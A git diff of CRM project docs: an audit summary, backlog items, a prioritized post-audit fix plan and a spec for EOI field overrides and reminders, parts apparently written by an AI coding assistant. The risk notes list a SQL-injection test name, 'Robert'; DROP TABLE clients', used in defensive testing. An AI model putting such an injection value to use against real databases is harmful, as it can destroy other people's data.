+| A19 | F27 same-stage write returns 204 No Content via STAGE_NOOP sentinel                                           | ✅ Playwright (204)      |
+| A20 | OwnerPicker surfaces "Client / Company" hint chip on trigger when no value set                                | ✅ code-reviewed         |
+| A18 | Closed as not-a-bug: `/users` doesn't exist (true 404); `/admin/audit` exists and 403s correctly              | ✅ analysis              |
+| A3  | **Deferred** — dev-only react-grab CSP noise, cosmetic                                                        | ⏭️ skipped               |
+| A5  | **Deferred** — Socket.IO dev noise, requires sidecar service setup                                            | ⏭️ skipped               |
+
+## Legacy stage enum hunt (L-001 done, L-002-L-020 partially)
+
+| ID    | Result                                                                                                                                                    |
+| ----- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| L-001 | Grepped entire `src/` — found real bugs in `clients.service.ts` and `berth-recommender.service.ts` rank tables (every modern interest got rank 0) — fixed |
+| L-002 | Audit log diff display only shows field names (not values) — clean                                                                                        |
+| L-003 | Activity feed: A2 fix covers this                                                                                                                         |
+| L-004 | Email templates: notification-digest.tsx labels `eoi_signed` etc. as notification TYPE (event), not pipeline stage — OK                                   |
+| L-005 | Documenso payload: no stage refs in `buildDocumensoPayload`                                                                                               |
+| L-006 | Public berths API: status enum is `available/under_offer/sold` — independent of pipeline stages — OK                                                      |
+| L-007 | Webhook payloads: read-time mapping via `stageLabelFor` recommended for downstream subscribers (not blocking)                                             |
+| L-008 | Analytics SQL: spot-checked the pipeline-funnel query — uses modern 7-stage enum only ✅                                                                  |
+| L-012 | Seed data: confirmed migrated in `seed-synthetic-data.ts` ✅                                                                                              |
+| L-014 | Same as A8 — fixed via migration 0066                                                                                                                     |
+| L-015 | Outcome enum: confirmed `won` + `lost_*` only — no legacy `completed`                                                                                     |
+| L-019 | Doc-status sub-states: `pending/sent/signed/declined/voided` — consistent ✅                                                                              |
+| —     | Stale comment refs to `deposit_10pct` in schema (clients, financial, users) — all updated to modern copy                                                  |
+
+## Routes correctness (R-001..R-030 — partial)
+
+- R-001 — 13 main `/[portSlug]/*` routes return 200 for super-admin ✅
+- R-002 — sales-agent: confirmed admin nav hidden + permission gating from earlier audit ✅
+- R-004 — cross-port deep-link to unknown UUID: returns 200 with `DetailNotFound` rendered (F17) ✅
+- R-008 — mooring URL canonicalization: `A1`, `a1`, `A%201`, `A001`, `ZZ999` all return 200 (Next renders the page; data fetch surfaces 404 in-page if needed)
+- R-005, R-006, R-009, R-010, R-011, R-013-R-022 — ❓ unchecked
+- R-007 — hard-deleted berth A1 in port-amador: route page renders 200, in-page state is the `DetailNotFound` ✅
+
+## What's NOT done
+
+These remain unchecked from the catalog:
+
+- **U-001..U-100 UX consistency sweep** — partial (catch-up wizard tested, OwnerPicker tested). Empty states, form design, tables/lists/filters, badges, modals, mobile UX — needs dedicated session.
+- **W-001..W-052 sales workflows** — happy path (W-001) NOT walked end-to-end. Reservations, invoices, EOI signing pathway, contract signing, refund handling, GDPR export, etc. all unchecked beyond earlier audits.
+- **AD-001..AD-060 admin workflows** — only sampled (tag creation, audit log viewing). Role create, invite roundtrip, custom fields retrofit, brochures, per-berth PDFs, NocoDB import, CSV import — unchecked.
+- **MT-01..MT-11 multi-tenancy** — only the recommender + entry-point checks confirmed earlier. Defense-in-depth port_id filters on every join — sample-checked.
+- **S-01..S-30 security** — only items previously verified (rate-limit, XSS in client name, magic-byte verification). SQL injection, CSRF, SSRF, privilege escalation, session fixation, CSP headers — unchecked.
+- **RT-01..RT-09 realtime** — A5 deferred; nothing tested.
+- **P-01..P-14 performance** — nothing tested.
+- **D-01..D-22 documents/files** — partial (upload at root verified after A16 fix).
+- **AU-01..AU-14 audit log surface** — only auto-emit verified.
+- **EM-01..EM-19 email** — nothing tested.
+- **IN-01..IN-29 integrations** — nothing new tested.
+- **SC-01..SC-15 schema** — nothing tested beyond what existing migrations confirm.
+- **L-1..L-08 i18n/l10n** — nothing tested.
+- **BR-01..BR-07 browser/device** — only Chrome verified.
+- **B-01..B-22 behavioral correctness** — partial.
+- **DC-01..DC-05 data clean-up** — A8 done; others unchecked.
+- **CI-01..CI-13 CI/dev experience** — tsc/lint/vitest verified per commit; Playwright projects not run; Docker build not tested.
+
+## Bottom line
+
+11 of the 13 known issues from yesterday's sweep are fixed and pushed. The biggest discovered fix was the legacy-stage rank tables in clients.service + berth-recommender that were silently broken for every post-9→7-refactor interest. Two dev-only issues (A3, A5) deferred.
+
+Remaining catalog coverage requires multiple dedicated sessions — there are 300+ unique checks still in `AUDIT-CATALOG.md`. The catalog is the to-do list; pick the next slice you want me to take.
+
+## Commits in this session
+
+- `0d9208a` fix(audit): A1/A2/A4/A6/A8/A9/A16/A17/A19/A20
+- `9821106` fix(legacy-stage): purge 9-stage enum keys from rank tables and stale copy
+
+Test suite: 1373/1373 pass · tsc clean · lint clean.

docs/BACKLOG.md

@@ -14,7 +14,16 @@ Documenso phases 2-7 stay back-burnered per user.
 
 ---
 
-## A. Documenso build (deferred for later)
+## A. Documenso build (MOSTLY SHIPPED — see note)
+
+> **Stale-doc fix (2026-06-01):** a feature-completeness sweep confirmed
+> the core of phases 2–7 has since shipped and is wired — cascading
+> "your turn" invites (Phase 2), custom doc upload-to-signing (Phase 3,
+> `custom-document-upload.service.ts` + `/api/v1/interests/[id]/upload-for-signing`),
+> the field-placement UI (Phase 4, `upload-for-signing-dialog.tsx`), and
+> Project Director user-linking (Phase 7). The integration is treated as
+> feature-complete. The phase table below is kept for history; re-verify
+> the Phase 5/6 polish line-items individually before relying on them.
 
 **Source:** [`docs/documenso-build-plan.md`](./documenso-build-plan.md) — full phase plan with locked decisions (Q1–Q10).
 **Tracker delta:** [`docs/admin-ux-backlog.md`](./admin-ux-backlog.md) — what landed in Phase 1.
@@ -317,6 +326,97 @@ Future PDF-related work (carry-over from §A of the PDF overhaul spec):
 
 ---
 
+## J. Activity / timeline copy normalization
+
+Every "Activity" or "Timeline" surface across the app currently leaks
+raw schema details — camelCase field names, UUID values, boolean
+`on`/`off` — straight into the user-visible copy. Real examples seen
+in production:
+
+- `Updated owner → mEcsLxo5kyFMyhbOSehxJjYSSD7CiLvv` (user UUID)
+- `Updated primary berth → a53e3b1d-d589-4f11-9f7b-3b3a3c1ebb8e` (berth UUID)
+- `Updated primary berth → a53e..., isInEoiBundle → on` (raw camelCase + boolean)
+
+Two distinct renderers need a single source of truth:
+
+1. **`InterestTimeline`** (`src/components/interests/interest-timeline.tsx`) reads pre-built `description` strings from `/api/v1/interests/[id]/timeline/route.ts` — see `buildAuditDescription` + `describeUpdateDiff` + `formatDiffValue`. Field-label catalog is partial; FK values are unresolved.
+2. **`EntityActivityFeed`** (`src/components/shared/entity-activity-feed.tsx`) — used by clients, companies, yachts, berths, residential clients, residential interests. Builds copy client-side via `sentence()` + `formatValueForField`. Catalog is even thinner (only `pipelineStage` / `source` / `leadCategory` / `outcome` get human labels).
+
+**Plan-of-work:**
+
+- Build a shared `src/lib/audit/format-audit.ts` with:
+  - `FIELD_LABELS` per entity type (interest, client, company, yacht, berth, residential\_\*) covering every column we actually surface in audits. Today's gaps: `isInEoiBundle`, `isSpecificInterest`, `isPrimary`, `assignedTo`, `currentOwnerType/Id`, `companyId`, `parentCompanyId`, `mooringNumber`, `priceCurrency`, all the `*_at`/date fields beyond the EOI/contract handful.
+  - Value formatter that handles: booleans contextually (e.g. `isInEoiBundle: true` → "added to EOI bundle" / `false` → "removed from EOI bundle"; never `on`/`off`), enums via the `formatEnum`/`STAGE_LABELS`/`OUTCOME_LABELS` helpers in `src/lib/constants.ts`, currency+amount pairs, dates via `formatDate`.
+  - FK resolution: take a `Record<fkField, displayName>` lookup that callers prefill (mooring number for berthId, user name for assignedTo, client name for clientId, etc.) so values render as "→ Anna Schmidt" not "→ mEcs…".
+- Update `/timeline` (interests) AND the 6 `/activity` route handlers to: (a) collect FK ids per row, (b) batch-resolve in one query per FK type, (c) pass the lookup into the shared formatter. The audit log itself stores IDs — resolution happens at read time so historical entries stay correct even after renames/deletes (in which case fall back to "(deleted yacht)" etc.).
+- Migrate `EntityActivityFeed` to call the same shared formatter on the row's `fieldChanged` + `oldValue`/`newValue` so the strikethrough+arrow rendering uses the same vocabulary.
+- Audit-log writes that have meaningful application context but don't fit the column-diff model (e.g. interest-berth flag toggles, EOI bundle membership changes) probably should set `metadata.type` so the formatter can route to a dedicated phrase ("Added berth A12 to EOI bundle", "Made A12 the primary berth") instead of best-effort diffing.
+
+Acceptance: spot-check the timeline tab on a recently-edited interest, client, yacht, company, and berth. No UUIDs visible; no camelCase field names; no `on`/`off` booleans without context; all enum values render in their human label.
+
+**Done while scoping (cosmetic fix):**
+
+- Vertical-connector overshoot in `InterestTimeline` and `EntityActivityFeed` — both renderers used a container-level absolute line that trailed past the last bubble. Replaced with per-item connectors that omit on `isLast`.
+
+---
+
+## K. Per-port branded login (multi-tenant UX)
+
+The login / forgot-password / set-password screens currently show the
+"first active port" branding via `resolveAuthShellBranding()`, because
+those surfaces have no portId in the URL. With two unrelated ports
+(Port Nimara + Port Amador, no umbrella company) this means whichever
+port was created first wins the login screen for everyone.
+
+**Recommended path: shared instance, Host-header branding.** Run a
+wildcard subdomain (`*.crm.example.com`) into the same Next.js app and
+have middleware derive the active portSlug from the `Host` header.
+`resolveAuthShellBranding()` then takes an optional host argument and
+resolves by slug instead of "first port". Switcher becomes a
+`window.location.assign('https://other-port.crm.example.com/dashboard')`;
+session cookies are scoped to the parent domain so super-admins don't
+re-auth when hopping.
+
+Open work:
+
+- Wildcard DNS + TLS cert (Cloudflare DNS-01 with `*.crm.example.com`).
+- Cookie domain change: `pn-crm.session_token` needs `Domain=.example.com`
+  set in better-auth config.
+- Middleware: read host, resolve portSlug, attach to request headers so
+  the auth-shell branding resolver can use it.
+- Update `resolveAuthShellBranding()` to prefer host-derived port over
+  "first port" fallback.
+- Port-switcher UI: dropdown in topbar that lists ports the user has
+  access to and navigates cross-subdomain.
+- Bootstrap seed: populate `branding_logo_url` / `_email_background_url`
+  / `_app_name` for the default port so fresh deploys aren't blank.
+
+Alternative considered: **N instances, one per port.** Cleaner data /
+deploy isolation but no UX gain over the shared-instance path. Defer
+unless an operator demands independent migrations or data residency.
+
+Size: medium (1–2 days incl. cert + cookie work + seed + switcher).
+
+---
+
+## I. Dashboard widget wishlist
+
+User-driven enhancements to the customizable main dashboard
+(`src/components/dashboard/widget-registry.tsx`). Each entry is a new
+opt-in tile users can add via the widget picker.
+
+- **More website-analytics stats cards** — expand the dashboard widget
+  catalogue with additional Umami-backed tiles users can pick from
+  (e.g. unique visitors, avg session duration, bounce rate, top
+  country, top referrer of the day, mobile vs desktop split,
+  pages-per-visit, returning vs new). Today only `WebsiteGlanceTile`
+  exists. Source data already flows through
+  `src/lib/services/umami.service.ts` and `useWebsiteAnalytics`. Each
+  new tile = one `KpiTile`-shaped component + a registry entry. Size:
+  small per tile, scope grows with the catalogue.
+
+---
+
 ## F. Historical audit docs (mostly resolved)
 
 These dossiers drove the audit-fix commit waves on 2026-05-05/06. Items

docs/POST-AUDIT-FIX-PLAN.md

@@ -0,0 +1,305 @@
+# Post-Audit Fix Plan
+
+Generated 2026-05-14 from two rounds of deep Playwright + API audit on `feat/documents-folders` → `main`.
+
+**Total findings:** 24 fixes + 1 new feature. Grouped by priority. Each entry has impact, file pointer, and effort estimate.
+
+---
+
+## TIER 0 — Already Applied in Working Tree (uncommitted)
+
+Status: **fixed in code, not yet committed**. Commit + push to ship.
+
+### F1. `/api/v1/bootstrap/*` proxy allow-list (task #22)
+
+- **Impact:** Cold-start VPS deploy can't bootstrap its first super-admin. `/setup` page calls `/api/v1/bootstrap/status` which 401s; setup form never renders.
+- **File:** `src/proxy.ts` — added to `PUBLIC_PATHS`.
+- **Effort:** XS.
+
+### F2. Interest detail page 500s on every visit (task #25)
+
+- **Impact:** Sales workflow non-functional. Raw `Date` passed to postgres-js `sql\`${col} >= ${dateVar}\`` template crashes the Bind step.
+- **File:** `src/lib/services/interests.service.ts:566` — switched to `gte(col, date)`.
+- **Effort:** XS.
+
+---
+
+## TIER 1 — Pre-Deploy Blockers (P1)
+
+Ship before any real client touches the system.
+
+### F3. GDPR export 500s — BullMQ rejects job IDs with colons (task #51)
+
+- **Impact:** GDPR Article 15 right-to-access non-functional. Legal/compliance gate.
+- **File:** `src/lib/services/gdpr-export.service.ts:113` — change `jobId: \`gdpr-export:${row.id}\`` → `jobId: \`gdpr-export-${row.id}\``.
+- **Effort:** XS (one char).
+
+### F4. Redis eviction policy is `allkeys-lru` but BullMQ requires `noeviction` (companion to F3)
+
+- **Impact:** Under memory pressure, Redis will evict BullMQ keys; jobs disappear silently.
+- **File:** production Redis config (`maxmemory-policy noeviction`) + the docker-compose redis service.
+- **Effort:** XS (config).
+
+### F5. `deleteBerth()` hard-deletes rows instead of soft-archiving (task #65)
+
+- **Impact:** Permanent data loss on accidental delete. Junction tables CASCADE-vanish. Audit log points to non-existent rows. Public feed could 404 mid-customer-inquiry.
+- **Files:**
+  - `src/lib/services/berths.service.ts:673-685` — replace `db.delete()` with `set archivedAt = now(), archivedBy = userId, archiveReason = input.reason`.
+  - Add filter `isNull(berths.archivedAt)` to all default berth queries (recommender, public feed, list, dashboard heat).
+  - Add restore endpoint `POST /api/v1/berths/[id]/restore` mirroring the interests pattern.
+  - Require `reason` (min 5 chars) before destructive call.
+- **Effort:** M.
+
+### F6. Weak input validation on `/api/v1/clients` (task #50)
+
+- **Impact:** Email format not validated (bounces silently); whitespace-only names accepted (blank chips everywhere); XSS payload stored verbatim (depends on every render path being safe).
+- **Files:**
+  - `src/lib/validators/clients.ts` — add `.email()` refinement on contacts where `channel === 'email'`; trim+min(1) on `fullName`; regex-strip control chars + zero-width chars.
+  - Audit every fullName render path for `dangerouslySetInnerHTML` / pdfme / react-pdf / email template merges and ensure escaping.
+  - Apply similar hardening to yachts, companies, interests, notes, berths, reminders (audit all string fields).
+- **Effort:** S for the obvious zod tweaks, M for the full audit.
+
+### F7. No rate limiting on login (task #68)
+
+- **Impact:** Brute force is wide open. 20 wrong-password attempts in a row all returned 401 with no lockout.
+- **Files:**
+  - `src/lib/auth/` — add a `rateLimit` block to the better-auth config: `{ window: 60, max: 5 }` per IP+email.
+  - Optionally: Redis sliding window via existing ioredis client.
+  - Optionally: per-user lockout table (`auth_lockouts`) after 5 failures, locked 15min.
+- **Effort:** S.
+
+### F8. postgres-js pool corruption causes CONNECT_TIMEOUT (task #46)
+
+- **Impact:** During the audit the dev server twice entered a stuck state where every query 500'd with `CONNECT_TIMEOUT` while the DB was healthy (1/100 connections used). Production VPS will hit this under load.
+- **Files:**
+  - `src/lib/db/index.ts` — add `connect_timeout: 5`, `max_lifetime: 60 * 60`, `idle_timeout: 30`.
+  - Wrap critical-path queries in retry-on-CONNECT_TIMEOUT logic (one retry, then 503).
+  - Consider pgbouncer in front of postgres for production multi-process deployments.
+- **Effort:** S for the postgres-js options, M for full pgbouncer.
+
+---
+
+## TIER 2 — High Impact Architectural / UX
+
+Not strictly deploy-blocking, but each one breaks the UX in observable ways every day.
+
+### F9. Layout-wide duplicate mobile/desktop DOM rendering (task #26)
+
+- **Impact:** Single highest leverage UX bug. EVERY page mounts BOTH responsive layouts; both Radix Tabs providers are concurrently active with `data-state="active"`. Half my click attempts on tabs/filters/popovers went to the wrong layer. Doubled network requests, doubled component state, doubled a11y landmarks.
+- **Files:** the responsive shell (likely `src/components/layout/*-shell.tsx` and detail-page wrappers).
+- **Fix options:** use `useMediaQuery` to mount only one tree; or hoist `<Tabs>` to a single provider and let both layouts consume context.
+- **Effort:** L (architectural refactor across multiple pages).
+
+### F10. Archiving a client doesn't cascade-archive their interests (task #66)
+
+- **Impact:** Orphan refs. Archived clients have active interests; active queries surface them with broken breadcrumbs / silent 404s on drill-in.
+- **Files:** `src/lib/services/clients.service.ts:archiveClient()` — wrap in transaction, archive open interests too. OR extend `activeInterestsWhere()` to filter on `client.archived_at IS NULL`.
+- **Effort:** S.
+
+---
+
+## TIER 3 — Standard Fixes (P3)
+
+UX polish + missing entry points. Each is small, but the sum matters.
+
+### F11. "Mark as won" dialog still says "moves to Completed" (task #27)
+
+- **Impact:** Stale copy from before the 7-stage refactor. Misleads users.
+- **File:** `src/components/interests/won-dialog.tsx` (or similar) — update copy to "marks Won; stage stays at <current>".
+- **Effort:** XS.
+
+### F12. Activity feed + tab count concatenation (task #23)
+
+- **Impact:** "Test Person 1interest", "Interests0", "Click Test Co.company" — unprofessional.
+- **Files:** `src/components/dashboard/activity-feed.tsx` (entity name + type), every detail-page tab count render. Audit log FTS `search_text` should also include entity names.
+- **Effort:** S.
+
+### F13. Bulk-add berths wizard has no UI entry point (task #28)
+
+- **Impact:** Feature built for new-port setup, but invisible. Operator must know the URL.
+- **Files:** Add a "Bulk add" button next to "New berth" on `/[portSlug]/berths`. Add link on `/admin` landing card.
+- **Effort:** S.
+
+### F14. Audit Log page has no UI entry point (task #49)
+
+- **Impact:** Feature built, no nav link. Discovery requires URL knowledge.
+- **Files:** Sidebar Admin section — add "Audit Log" entry under `documents` settings or as its own item, gated by `audit_log.view` permission.
+- **Effort:** S.
+
+### F15. New Yacht dialog only lists clients in owner picker (task #44)
+
+- **Impact:** Data model supports `'client' | 'company'` ownership; UI only lets you pick clients. Cannot create company-owned yacht via UI.
+- **Files:** `src/components/yachts/new-yacht-dialog.tsx` — add owner-type segmented control (Client / Company) above the owner picker; switch data source.
+- **Effort:** S.
+
+### F16. InlineTagEditor "Add tag" focus + create flow (task #45)
+
+- **Impact:** Typing in the tag widget set the CONTACT LABEL instead. Plus no "Create new tag" affordance for new tag names.
+- **Files:** `src/components/shared/inline-tag-editor.tsx`. Fix focus target; surface "Create new: X" as a popover item; orchestrate POST /api/v1/tags then PUT .../tags.
+- **Effort:** S.
+
+### F17. Cross-port (and 404) detail URLs silently render list shell (task #48)
+
+- **Impact:** User pastes a wrong-port URL → API 404s correctly but UI silently shows the list shell. No explicit "not found" message.
+- **Files:** every entity-detail client component — render `<EmptyState title="Not found" />` when GET returns 404. Apply to clients, interests, yachts, companies, berths.
+- **Effort:** M (apply pattern to each detail page).
+
+### F18. Recommender `limit` param ignored (task #69)
+
+- **Impact:** Request with `{"limit": 3}` returned 8 berths. Either param name mismatch or no clamp.
+- **Files:** `src/lib/services/berth-recommender.service.ts` + the recommend-berths validator.
+- **Effort:** XS.
+
+---
+
+## TIER 4 — Polish & UX Reductions (P4)
+
+The `UX EFFICIENCY` list (task #24). Each is small, mostly copy/flow improvements.
+
+### F19. New Client form — primary contact default trap
+
+- Default-checked "Primary contact" with empty email silently rejects on submit. Either don't pre-add OR drop empty contacts on save.
+
+### F20. New Interest dialog — redirect to detail page on create
+
+- Currently returns to the list. Add `router.push('/interests/' + newId)` to land on the workflow page immediately.
+
+### F21. Stage-transition error toast leaks developer language
+
+- "yachtId is required before leaving stage=enquiry" → "Yacht is required before leaving the Enquiry stage."
+- Audit ALL ValidationError + ConflictError + service error messages for user-readable copy.
+
+### F22. Stage menu uses unicode emoji `⚑` as prereq-blocked indicator
+
+- Per user preference (memory: avoid decorative emoji), replace with a Lucide icon (`Lock`, `AlertCircle`, or `FlagOff`).
+
+### F23. Blocked-stage UX — show prereq picker inline
+
+- Clicking a blocked stage currently dismisses with a toast. Better: open the prereq picker inline ("Pick a yacht to leave Enquiry" with combobox right there).
+
+### F24. New Client form — "Country" optional but prominent
+
+- Drop from quick-path OR move to a "More details" disclosure.
+
+### F25. Documents Hub — folder navigation doesn't update URL
+
+- Drilling into a folder updates "Current location" but doesn't change `location.search`. Can't deep-link, browser-back broken, refresh resets to root.
+
+### F26. "Reopen" outcome action silent — no toast
+
+- After clicking Reopen, no feedback. Add `toast.success('Outcome cleared')` or similar.
+
+### F27. Same-stage write returns full body — should be 204
+
+- PATCH /stage with same stage = current stage returns 200 + full interest. Should be 204 No Content (no-op).
+
+### F28. Recommender empty-result UI
+
+- 300ft yacht returns `data: []` — UI Recommendations tab silently shows blank. Should render "No berths match — try relaxing constraints."
+
+### F29. Inbox first-load "Loading..." stuck
+
+- First navigation to /inbox shows "Loading..." indefinitely; subsequent reload renders fine. TanStack Query cache initialization issue.
+
+### F30. Berths in default queries should filter `archivedAt IS NULL`
+
+- Companion to F5 — once soft-delete lands, every default list query must filter archived rows.
+
+---
+
+## NEW FEATURE — Manual Berth Status Catch-Up Workflow (task #67)
+
+User-requested. Foundation already exists (column `berths.status_override_mode` is in schema but never written).
+
+### Phase 1 — Wire the status_override_mode field
+
+- `updateBerthStatus()` sets `status_override_mode = 'manual'` when called via the user-facing API.
+- `berth-rules-engine.ts` triggers set `status_override_mode = 'automated'`.
+- When a backing interest is successfully created and links the berth, clear `status_override_mode` back to null in the same transaction; set `status_last_changed_reason` to "Reconciled via interest [id]".
+- **Effort:** S.
+
+### Phase 2 — Visual indicator
+
+- On berth list rows: small chip "Manual" next to the status badge when `status_override_mode = 'manual'` AND no active interest is linked.
+- On berth detail page header: badge + tooltip showing last reason, user, when.
+- On dashboard "Berth Heat" widget: filter or annotate the manual rows.
+- **Effort:** S.
+
+### Phase 3 — Reconciliation Queue page
+
+- New page `/[portSlug]/admin/berths/reconcile`.
+- Lists every berth where `status_override_mode = 'manual'` and no active interest. Sortable by `status_last_modified DESC`.
+- Each row links to the catch-up wizard.
+- Sidebar Admin section gets a link with the queue count badge.
+- **Effort:** S.
+
+### Phase 4 — Catch-Up Wizard (the core piece)
+
+- Multi-step modal. Steps:
+  1. **Pick or create client** — combobox + inline quick-create (name + email only).
+  2. **Pick or create yacht** — optional if pre-EOI; quick-create with name + dimensions.
+  3. **Pick the matching stage** — based on current berth status:
+     - `under_offer` → enquiry / qualified / nurturing / eoi (default eoi)
+     - `sold` → contract + outcome=won
+     - Allow override.
+  4. **Upload existing docs** — EOI PDF, contract PDF, reservation form. Each auto-filed to the right entity folder.
+  5. **Optional payments** — if status=sold, prompt for deposit/full amount.
+  6. **Review + submit.** On submit, transaction:
+     - Create/select client + yacht
+     - Create interest at chosen stage with `assigned_to = current user`
+     - Upsert `interest_berths(is_primary=true, is_specific_interest=true, is_in_eoi_bundle=true)`
+     - Upload + attach files
+     - Insert payments
+     - Set `berth.status_override_mode = null` + `status_last_changed_reason = 'Reconciled via interest [id]'`
+     - Audit log single "reconcile" event linking berth + new interest.
+- **Effort:** M (wizard) + S (transaction service) + S (API endpoint). Total M-L.
+
+### Phase 5 — Entry points
+
+- Berth list row menu → "Catch up..."
+- Berth detail page next to manual badge → "Catch up"
+- Dashboard widget "Manual statuses awaiting reconciliation" (count + link)
+- Sidebar link
+- **Effort:** S.
+
+### Total feature effort: M-L (2-3 dev days).
+
+---
+
+## What I Tested in Round 2 (15 deep journeys, all passed structural validation)
+
+| Journey                                      | Result                                                                                      |
+| -------------------------------------------- | ------------------------------------------------------------------------------------------- |
+| State machine — stage skipping               | ✓ Rejects forward/backward jumps with friendly copy + override path                         |
+| Double outcome write                         | ⚠ Allowed (won→lost flips freely); audit log just says "update" — should tag outcome change |
+| Cascade — delete with dependents             | ✗ Inconsistent: clients soft-archive, **berths HARD-delete**, companies soft-archive        |
+| Manual berth status without backing interest | ✗ Foundation column exists, never written                                                   |
+| Unicode (emoji/RTL/zero-width)               | ⚠ Emoji + RTL OK; zero-width chars NOT stripped (search blind spot)                         |
+| Storage / file upload magic-byte             | ✓ Rejects JPEG/HTML disguised as PDF                                                        |
+| Documenso webhook idempotency                | ✓ Timing-safe + rate-limited bad-secret check                                               |
+| Berth recommender edge cases                 | ⚠ Empty dims OK; extreme dims return empty; **limit param ignored**                         |
+| Email body XSS via markdown                  | ✓ Escape-first-then-rules, javascript: URLs stripped                                        |
+| Public berth feed correctness                | ✓ Port allow-list, archive filter, status enum validation                                   |
+| Rate limiting / abuse                        | ✗ Login: no rate limit; public feed: CDN-cached                                             |
+| Health check + dependency probes             | ✓ Anonymous minimal payload, secret-mode for website-intake                                 |
+| Direct ID enumeration                        | ✓ Uniform 404 — no leak                                                                     |
+| Cross-port API access                        | ✓ 404 at API; **silent at UI**                                                              |
+| CSRF — fake Origin                           | ✓ Prod-only protection — dev intentionally skips                                            |
+
+---
+
+## Recommended Commit Sequence
+
+1. **Squash-commit T0 fixes** (F1 + F2) — these are deploy-blockers already applied. Push to main.
+2. **T1 batch commit** (F3, F4, F5, F6, F7, F8) — pre-deploy blockers. Single commit per fix for clean review.
+3. **T2** (F9, F10) — schedule for next sprint (F9 is architectural).
+4. **T3** (F11-F18) — knock out in a few hours. Quick polish wave.
+5. **T4** (F19-F30) — UX list. Bundle into a single PR over a few sessions.
+6. **NEW FEATURE — Catch-Up Workflow** — 2-3 dev days. Higher business value than T2; prioritize after T1.
+
+---
+
+## Risk Notes
+
+- The audit polluted the dev DB with test entities: `Smoke Test Client (renamed)`, `Aurora Marine Holdings Ltd`, `Bad Email Test`, `Phone Test`, `Robert'; DROP TABLE clients`, `François 🏄 المعتمد`, `محمد عبد الله`, `CSRF Test`, etc. Also **hard-deleted berth A1 in port-amador** + soft-archived Test Person 1. Consider `pnpm db:reseed:synthetic` before the next clean run.
+- The Smoke Test Client interest had `outcome=lost_other` set during the won-then-lost test (R2-B). Audit log preserved both transitions but with action="update" not action="outcome_change".

docs/POST-AUDIT-SPEC-2026-05-18.md

@@ -0,0 +1,251 @@
+# Post-Audit Implementation Spec — 2026-05-18
+
+Captures the design decisions from the post-audit conversation so the
+implementation can start without re-litigating the trade-offs. Each
+section ends with an Effort estimate.
+
+---
+
+## 1. EOI document field overrides
+
+### Goal
+
+When generating an EOI, the rep should be able to override pre-filled
+field values (contact info, addresses, yacht details) while preserving
+the canonical record. Manual entries persist as tracked secondary
+values so future EOIs can pick them up from a dropdown.
+
+### Design
+
+**Client contact channels (email, phone):**
+
+- The EOI form's email/phone fields render as a dropdown of every
+  `client_contacts` row for the linked client, defaulting to the primary
+  for each channel.
+- Rep types a brand-new value → on EOI save, a new `client_contacts`
+  row is created with `is_primary=false`, `source='eoi-custom-input'`,
+  `source_document_id=<doc-id>`. Labelled `[EOI]` on the client detail
+  page contacts panel.
+- The current EOI uses the new value; future EOIs default to primary
+  unless the rep explicitly picks the new row from the dropdown.
+- A "Set as default for future documents" toggle on the EOI form
+  promotes the new value to `is_primary=true` (demoting the prior
+  primary).
+
+**Client addresses:** Same pattern via `client_addresses` (which is
+already multi-value per CLAUDE.md).
+
+**Yacht name + dimensions:** Yachts are single-valued; rep needs a
+different yacht → opens a "Create yacht" modal inline, fills in name +
+dims for the new yacht record, linked to the same client/interest, tagged
+`eoi-generated`. The EOI uses the new yacht. The original yacht is
+unchanged. (No yacht_aliases / yacht_dimension_overrides table.)
+
+**Interest-specific fields (rare):** Same dropdown pattern via the
+existing fields on the interest record. Custom entries promote-or-stay
+following the toggle.
+
+**Audit trail:** Every override action (create-non-primary, promote-to-
+primary, create-yacht-from-eoi) emits an audit_log row with action
+`eoi_field_override` and metadata identifying the source document.
+
+**Per-document override (no record-side write):** Doc-level overrides
+remain available as a checkbox — when ticked, the value lives only on
+the doc and never touches client_contacts. Default is unchecked.
+
+### Schema additions
+
+- `client_contacts.source text` — extend the existing enum: `'manual'`,
+  `'imported'`, `'eoi-custom-input'`.
+- `client_contacts.source_document_id text references documents(id)
+on delete set null` — surfaces the originating EOI.
+- `client_addresses.source` + `source_document_id` (mirror).
+- `yachts.source` + `source_document_id` (mirror; nullable so existing
+  records aren't disturbed).
+- `audit_actions` enum gains `eoi_field_override` + `promote_to_primary`.
+
+### UI
+
+- EOI Generate drawer: each editable field becomes either a `<Combobox>`
+  (when multi-value) or `<Input>` + "Save as new …" hint (yacht).
+- Below each field: `[ ] Use only for this EOI` checkbox (default off)
+  - `[ ] Set as default for future docs` checkbox (default off).
+- Client + Yacht detail panels: `[EOI]` badge on non-primary rows;
+  "Set as primary" action on each.
+
+### Effort
+
+~1–1.5 weeks. Bundle the schema + EOI form + client/yacht detail UI
+into one PR (user picked "All at once").
+
+### Open implementation questions
+
+- The yacht-creation inline modal needs the existing YachtForm wired in;
+  on save it tags the new yacht with the eoi-generated marker. Tag the
+  yacht via `tags`? Or a dedicated `source` column? Recommend column
+  for queryability.
+- Should `[EOI]` badges fade out after a TTL or stay forever? Recommend
+  forever — the rep deliberately chose this label.
+
+---
+
+## 2. Reminders
+
+### Goal
+
+Reps can: per-interest follow-up cadence with note + time, standalone
+tasks (no entity), assignable-to-another-rep tasks. The existing rich
+`reminders` table holds the canonical data; the per-interest cadence
+on the `interests` row stays for backward compat as a quick-tick.
+
+### Design
+
+**Per-interest cadence (kept):**
+
+- `interests.reminderEnabled` + `interests.reminderDays` retained.
+- New: `interests.reminderNote text NULL` — surfaced in the
+  notification body + the inbox row.
+- The cadence fires a row into `reminders` on each tick (with
+  `interest_id` set) instead of the current ad-hoc notification flow,
+  unifying the inbox.
+
+**Standalone tasks (new):**
+
+- Rich `reminders` table already has every column we need (title, note,
+  priority, due_at, assigned_to, snoozed_until, google_calendar_event_id).
+- Two UI surfaces (both submit to the same dialog component):
+  - RemindersInbox top-right `[+ New task]` button.
+  - Per-entity detail page (interest, client, berth, yacht): `[+ Task]`
+    button inside the existing Reminders section. Linked-entity field
+    pre-filled and locked.
+- The dialog: Title (required), Note (optional), Due date+time,
+  Priority, Assign to (default = current rep), Linked entity
+  (optional dropdown for inbox surface; locked for per-entity).
+
+**Time-of-day:**
+
+- New user-settings field: `digest_time_of_day time, default '09:00'`.
+  Stored in user_profiles.
+- Per-reminder override: each reminder's `due_at` carries the exact
+  firing moment (existing column). The dialog defaults the time picker
+  to the user's `digest_time_of_day` but lets them override per row.
+- Worker scheduler: a 15-min cron tick scans `reminders` for rows whose
+  `due_at <= now() AND fired_at IS NULL`, fires the notification, sets
+  `fired_at`.
+
+**Assignment:**
+
